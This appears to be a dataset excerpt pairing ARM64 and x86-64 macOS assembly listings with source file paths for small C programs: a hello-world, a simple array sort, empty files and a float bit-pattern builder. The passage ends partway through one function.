.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Hello! World!\n"
l_.str.1: ; @.str.1
.asciz "\345\223\210\345\233\211\357\274\201C \350\252\236\350\250\200\357\274\201\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Hello! World!\n"
L_.str.1: ## @.str.1
.asciz "\345\223\210\345\233\211\357\274\201C \350\252\236\350\250\200\357\274\201\n"
.subsections_via_symbols
| the_stack_data/1000857.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #160
.cfi_def_cfa_offset 160
stp x29, x30, [sp, #144] ; 16-byte Folded Spill
add x29, sp, #144
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str wzr, [sp, #32]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #20
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
ldr w9, [sp, #20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
str wzr, [sp, #28]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldrsw x9, [sp, #28]
add x8, sp, #36
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _scanf
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_4:
str wzr, [sp, #28]
b LBB0_5
LBB0_5: ; =>This Loop Header: Depth=1
; Child Loop BB0_7 Depth 2
ldr w8, [sp, #28]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_7
LBB0_7: ; Parent Loop BB0_5 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #24]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_7 Depth=2
ldrsw x8, [sp, #28]
add x9, sp, #36
ldr w8, [x9, x8, lsl #2]
ldrsw x10, [sp, #24]
ldr w9, [x9, x10, lsl #2]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_7 Depth=2
ldrsw x8, [sp, #28]
add x9, sp, #36
ldr w8, [x9, x8, lsl #2]
str w8, [sp, #16]
ldrsw x8, [sp, #24]
ldr w8, [x9, x8, lsl #2]
ldrsw x10, [sp, #28]
str w8, [x9, x10, lsl #2]
ldr w8, [sp, #16]
ldrsw x10, [sp, #24]
str w8, [x9, x10, lsl #2]
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_7 Depth=2
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_7 Depth=2
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_7
LBB0_12: ; in Loop: Header=BB0_5 Depth=1
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_5 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_5
LBB0_14:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str wzr, [sp, #28]
b LBB0_15
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_18
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_15 Depth=1
ldrsw x9, [sp, #28]
add x8, sp, #36
ldr w9, [x8, x9, lsl #2]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_15 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_15
LBB0_18:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_20
b LBB0_19
LBB0_19:
bl ___stack_chk_fail
LBB0_20:
mov w0, #0
ldp x29, x30, [sp, #144] ; 16-byte Folded Reload
add sp, sp, #160
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter number of inputs: "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Enter %d elements: "
l_.str.3: ; @.str.3
.asciz "Sorted elements: "
l_.str.4: ; @.str.4
.asciz " %d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -116(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -128(%rbp), %rsi
movb $0, %al
callq _scanf
movl -128(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -120(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -120(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movslq -120(%rbp), %rax
leaq -112(%rbp), %rsi
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _scanf
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
jmp LBB0_1
LBB0_4:
movl $0, -120(%rbp)
LBB0_5: ## =>This Loop Header: Depth=1
## Child Loop BB0_7 Depth 2
movl -120(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB0_14
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
LBB0_7: ## Parent Loop BB0_5 Depth=1
## => This Inner Loop Header: Depth=2
movl -124(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB0_12
## %bb.8: ## in Loop: Header=BB0_7 Depth=2
movslq -120(%rbp), %rax
movl -112(%rbp,%rax,4), %eax
movslq -124(%rbp), %rcx
cmpl -112(%rbp,%rcx,4), %eax
jle LBB0_10
## %bb.9: ## in Loop: Header=BB0_7 Depth=2
movslq -120(%rbp), %rax
movl -112(%rbp,%rax,4), %eax
movl %eax, -132(%rbp)
movslq -124(%rbp), %rax
movl -112(%rbp,%rax,4), %ecx
movslq -120(%rbp), %rax
movl %ecx, -112(%rbp,%rax,4)
movl -132(%rbp), %ecx
movslq -124(%rbp), %rax
movl %ecx, -112(%rbp,%rax,4)
LBB0_10: ## in Loop: Header=BB0_7 Depth=2
jmp LBB0_11
LBB0_11: ## in Loop: Header=BB0_7 Depth=2
movl -124(%rbp), %eax
addl $1, %eax
movl %eax, -124(%rbp)
jmp LBB0_7
LBB0_12: ## in Loop: Header=BB0_5 Depth=1
jmp LBB0_13
LBB0_13: ## in Loop: Header=BB0_5 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
jmp LBB0_5
LBB0_14:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -120(%rbp)
LBB0_15: ## =>This Inner Loop Header: Depth=1
movl -120(%rbp), %eax
cmpl -128(%rbp), %eax
jge LBB0_18
## %bb.16: ## in Loop: Header=BB0_15 Depth=1
movslq -120(%rbp), %rax
movl -112(%rbp,%rax,4), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
## %bb.17: ## in Loop: Header=BB0_15 Depth=1
movl -120(%rbp), %eax
addl $1, %eax
movl %eax, -120(%rbp)
jmp LBB0_15
LBB0_18:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_20
## %bb.19:
xorl %eax, %eax
addq $144, %rsp
popq %rbp
retq
LBB0_20:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter number of inputs: "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Enter %d elements: "
L_.str.3: ## @.str.3
.asciz "Sorted elements: "
L_.str.4: ## @.str.4
.asciz " %d"
.subsections_via_symbols
| the_stack_data/17400.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/58904.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/16788.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
mov w9, #0
str wzr, [sp, #32]
str w0, [sp, #28]
str x1, [sp, #16]
ldr w8, [sp, #12]
and w8, w8, #0xff800000
orr w8, w8, w9
str w8, [sp, #12]
ldr w8, [sp, #12]
and w8, w8, #0x807fffff
orr w8, w8, w9
str w8, [sp, #12]
ldr w8, [sp, #12]
and w8, w8, #0x7fffffff
orr w8, w8, w9
str w8, [sp, #12]
ldr w0, [sp, #28]
ldr x1, [sp, #16]
bl _checkArgs
ldr x8, [sp, #16]
ldr x0, [x8, #8]
ldr x8, [sp, #16]
ldr x1, [x8, #16]
ldr x8, [sp, #16]
ldr x2, [x8, #24]
bl _getBits
str w0, [sp, #8]
ldr w8, [sp, #8]
str w8, [sp, #12]
ldr w0, [sp, #12]
add x1, sp, #38
bl _showBits
mov x8, sp
str x0, [x8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr s0, [sp, #12]
fcvt d0, s0
mov x8, sp
str d0, [x8]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _checkArgs ; -- Begin function checkArgs
.p2align 2
_checkArgs: ; @checkArgs
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str x1, [sp, #16]
ldur w8, [x29, #-4]
subs w8, w8, #3
cset w8, ge
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x8, [sp, #16]
ldr x8, [x8]
mov x9, sp
str x8, [x9]
mov w0, #64
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _errx
LBB1_2:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
mov w1, #1
bl _justBits
tbnz w0, #0, LBB1_4
b LBB1_3
LBB1_3:
ldr x8, [sp, #16]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
mov w0, #65
adrp x1, l_.str.3@PAGE
add x1, x1, l_.str.3@PAGEOFF
bl _errx
LBB1_4:
ldr x8, [sp, #16]
ldr x0, [x8, #16]
mov w1, #8
bl _justBits
tbnz w0, #0, LBB1_6
b LBB1_5
LBB1_5:
ldr x8, [sp, #16]
ldr x8, [x8, #16]
mov x9, sp
str x8, [x9]
mov w0, #65
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
bl _errx
LBB1_6:
ldr x8, [sp, #16]
ldr x0, [x8, #24]
mov w1, #23
bl _justBits
tbnz w0, #0, LBB1_8
b LBB1_7
LBB1_7:
ldr x8, [sp, #16]
ldr x8, [x8, #24]
mov x9, sp
str x8, [x9]
mov w0, #65
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
bl _errx
LBB1_8:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _getBits ; -- Begin function getBits
.p2align 2
_getBits: ; @getBits
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, #32]
str x1, [sp, #24]
str x2, [sp, #16]
ldr x8, [sp, #32]
ldrsb w8, [x8]
subs w10, w8, #48
ldr w9, [sp, #44]
mov w8, #1
and w10, w10, #0x1
bfi w9, w10, #31, #1
str w9, [sp, #44]
str w8, [sp, #12]
str wzr, [sp, #8]
mov w8, #7
str w8, [sp, #4]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #4]
ldrsb w8, [x8, x9]
subs w8, w8, #49
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
add w8, w8, w9
str w8, [sp, #8]
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
lsl w8, w8, #1
str w8, [sp, #12]
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #4]
subs w8, w8, #1
str w8, [sp, #4]
b LBB2_1
LBB2_6:
ldrb w9, [sp, #8]
ldr w8, [sp, #44]
and w8, w8, #0x807fffff
orr w8, w8, w9, lsl #23
str w8, [sp, #44]
mov w8, #1
str w8, [sp, #12]
str wzr, [sp, #8]
mov w8, #22
str w8, [sp]
b LBB2_7
LBB2_7: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp]
subs w8, w8, #0
cset w8, lt
tbnz w8, #0, LBB2_12
b LBB2_8
LBB2_8: ; in Loop: Header=BB2_7 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp]
ldrsb w8, [x8, x9]
subs w8, w8, #49
cset w8, ne
tbnz w8, #0, LBB2_10
b LBB2_9
LBB2_9: ; in Loop: Header=BB2_7 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
add w8, w8, w9
str w8, [sp, #8]
b LBB2_10
LBB2_10: ; in Loop: Header=BB2_7 Depth=1
ldr w8, [sp, #12]
lsl w8, w8, #1
str w8, [sp, #12]
b LBB2_11
LBB2_11: ; in Loop: Header=BB2_7 Depth=1
ldr w8, [sp]
subs w8, w8, #1
str w8, [sp]
b LBB2_7
LBB2_12:
ldr w9, [sp, #8]
ldr w8, [sp, #44]
and w9, w9, #0x7fffff
and w8, w8, #0xff800000
orr w8, w8, w9
str w8, [sp, #44]
ldr w0, [sp, #44]
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _showBits ; -- Begin function showBits
.p2align 2
_showBits: ; @showBits
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #28]
str x1, [sp, #16]
str wzr, [sp, #8]
str wzr, [sp, #4]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #4]
subs w8, w8, #32
cset w8, ge
tbnz w8, #0, LBB3_10
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB3_5
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
add x9, x8, x9
mov w8, #32
strb w8, [x9]
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
ldr w8, [sp, #4]
subs w8, w8, #1
str w8, [sp, #4]
b LBB3_9
LBB3_5: ; in Loop: Header=BB3_1 Depth=1
ldr w9, [sp, #4]
mov w8, #31
subs w9, w8, w9
mov w8, #1
lsl w8, w8, w9
str w8, [sp, #12]
ldr w8, [sp, #28]
ldr w9, [sp, #12]
ands w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB3_7
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
add x9, x8, x9
mov w8, #49
strb w8, [x9]
b LBB3_8
LBB3_7: ; in Loop: Header=BB3_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
add x9, x8, x9
mov w8, #48
strb w8, [x9]
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #4]
add w8, w8, #1
str w8, [sp, #4]
b LBB3_1
LBB3_10:
ldr x8, [sp, #16]
ldrsw x9, [sp, #8]
add x8, x8, x9
strb wzr, [x8]
ldr x0, [sp, #16]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _justBits ; -- Begin function justBits
.p2align 2
_justBits: ; @justBits
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
str w1, [sp, #12]
ldr w8, [sp, #12]
subs w8, w8, #0
cset w9, lt
; implicit-def: $x8
mov x8, x9
ands x8, x8, #0x1
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
adrp x0, l___func__.justBits@PAGE
add x0, x0, l___func__.justBits@PAGEOFF
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
mov w2, #144
adrp x3, l_.str.7@PAGE
add x3, x3, l_.str.7@PAGEOFF
bl ___assert_rtn
LBB4_2:
b LBB4_3
LBB4_3:
ldr x0, [sp, #16]
bl _strlen
ldrsw x8, [sp, #12]
subs x8, x0, x8
cset w8, eq
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
mov w8, #0
and w8, w8, #0x1
and w8, w8, #0x1
sturb w8, [x29, #-1]
b LBB4_12
LBB4_5:
b LBB4_6
LBB4_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_11
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #48
cset w8, eq
tbnz w8, #0, LBB4_10
b LBB4_8
LBB4_8: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #49
cset w8, eq
tbnz w8, #0, LBB4_10
b LBB4_9
LBB4_9:
mov w8, #0
and w8, w8, #0x1
and w8, w8, #0x1
sturb w8, [x29, #-1]
b LBB4_12
LBB4_10: ; in Loop: Header=BB4_6 Depth=1
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB4_6
LBB4_11:
mov w8, #1
and w8, w8, #0x1
and w8, w8, #0x1
sturb w8, [x29, #-1]
b LBB4_12
LBB4_12:
ldurb w8, [x29, #-1]
and w0, w8, #0x1
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "bits : %s\n"
l_.str.1: ; @.str.1
.asciz "float: %0.10f\n"
l_.str.2: ; @.str.2
.asciz "usage: %s Sign Exp Frac"
l_.str.3: ; @.str.3
.asciz "invalid Sign: %s"
l_.str.4: ; @.str.4
.asciz "invalid Exp: %s"
l_.str.5: ; @.str.5
.asciz "invalid Frac: %s"
l___func__.justBits: ; @__func__.justBits
.asciz "justBits"
l_.str.6: ; @.str.6
.asciz "247019271.c"
l_.str.7: ; @.str.7
.asciz "len >= 0"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -68(%rbp)
movl %edi, -72(%rbp)
movq %rsi, -80(%rbp)
movl -88(%rbp), %eax
andl $-8388608, %eax ## imm = 0xFF800000
orl $0, %eax
movl %eax, -88(%rbp)
movl -88(%rbp), %eax
andl $-2139095041, %eax ## imm = 0x807FFFFF
orl $0, %eax
movl %eax, -88(%rbp)
movl -88(%rbp), %eax
andl $2147483647, %eax ## imm = 0x7FFFFFFF
orl $0, %eax
movl %eax, -88(%rbp)
movl -72(%rbp), %edi
movq -80(%rbp), %rsi
callq _checkArgs
movq -80(%rbp), %rax
movq 8(%rax), %rdi
movq -80(%rbp), %rax
movq 16(%rax), %rsi
movq -80(%rbp), %rax
movq 24(%rax), %rdx
callq _getBits
movl %eax, -96(%rbp)
movl -96(%rbp), %eax
movl %eax, -88(%rbp)
movl -88(%rbp), %edi
leaq -64(%rbp), %rsi
callq _showBits
movq %rax, %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
cvtss2sd %xmm0, %xmm0
leaq L_.str.1(%rip), %rdi
movb $1, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $96, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _checkArgs ## -- Begin function checkArgs
.p2align 4, 0x90
_checkArgs: ## @checkArgs
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
cmpl $3, -4(%rbp)
jge LBB1_2
## %bb.1:
movq -16(%rbp), %rax
movq (%rax), %rdx
leaq L_.str.2(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $64, %edi
callq _errx
LBB1_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
movl $1, %esi
callq _justBits
testb $1, %al
jne LBB1_4
## %bb.3:
movq -16(%rbp), %rax
movq 8(%rax), %rdx
leaq L_.str.3(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $65, %edi
callq _errx
LBB1_4:
movq -16(%rbp), %rax
movq 16(%rax), %rdi
movl $8, %esi
callq _justBits
testb $1, %al
jne LBB1_6
## %bb.5:
movq -16(%rbp), %rax
movq 16(%rax), %rdx
leaq L_.str.4(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $65, %edi
callq _errx
LBB1_6:
movq -16(%rbp), %rax
movq 24(%rax), %rdi
movl $23, %esi
callq _justBits
testb $1, %al
jne LBB1_8
## %bb.7:
movq -16(%rbp), %rax
movq 24(%rax), %rdx
leaq L_.str.5(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
movl $65, %edi
callq _errx
LBB1_8:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _getBits ## -- Begin function getBits
.p2align 4, 0x90
_getBits: ## @getBits
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -16(%rbp)
movq %rsi, -24(%rbp)
movq %rdx, -32(%rbp)
movq -16(%rbp), %rax
movsbl (%rax), %ecx
subl $48, %ecx
movl -8(%rbp), %eax
andl $1, %ecx
shll $31, %ecx
andl $2147483647, %eax ## imm = 0x7FFFFFFF
orl %ecx, %eax
movl %eax, -8(%rbp)
movl $1, -36(%rbp)
movl $0, -40(%rbp)
movl $7, -44(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, -44(%rbp)
jl LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $49, %eax
jne LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -40(%rbp), %eax
addl -36(%rbp), %eax
movl %eax, -40(%rbp)
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
movl -36(%rbp), %eax
shll $1, %eax
movl %eax, -36(%rbp)
## %bb.5: ## in Loop: Header=BB2_1 Depth=1
movl -44(%rbp), %eax
addl $-1, %eax
movl %eax, -44(%rbp)
jmp LBB2_1
LBB2_6:
movl -40(%rbp), %ecx
movl -8(%rbp), %eax
andl $255, %ecx
shll $23, %ecx
andl $-2139095041, %eax ## imm = 0x807FFFFF
orl %ecx, %eax
movl %eax, -8(%rbp)
movl $1, -36(%rbp)
movl $0, -40(%rbp)
movl $22, -48(%rbp)
LBB2_7: ## =>This Inner Loop Header: Depth=1
cmpl $0, -48(%rbp)
jl LBB2_12
## %bb.8: ## in Loop: Header=BB2_7 Depth=1
movq -32(%rbp), %rax
movslq -48(%rbp), %rcx
movsbl (%rax,%rcx), %eax
cmpl $49, %eax
jne LBB2_10
## %bb.9: ## in Loop: Header=BB2_7 Depth=1
movl -40(%rbp), %eax
addl -36(%rbp), %eax
movl %eax, -40(%rbp)
LBB2_10: ## in Loop: Header=BB2_7 Depth=1
movl -36(%rbp), %eax
shll $1, %eax
movl %eax, -36(%rbp)
## %bb.11: ## in Loop: Header=BB2_7 Depth=1
movl -48(%rbp), %eax
addl $-1, %eax
movl %eax, -48(%rbp)
jmp LBB2_7
LBB2_12:
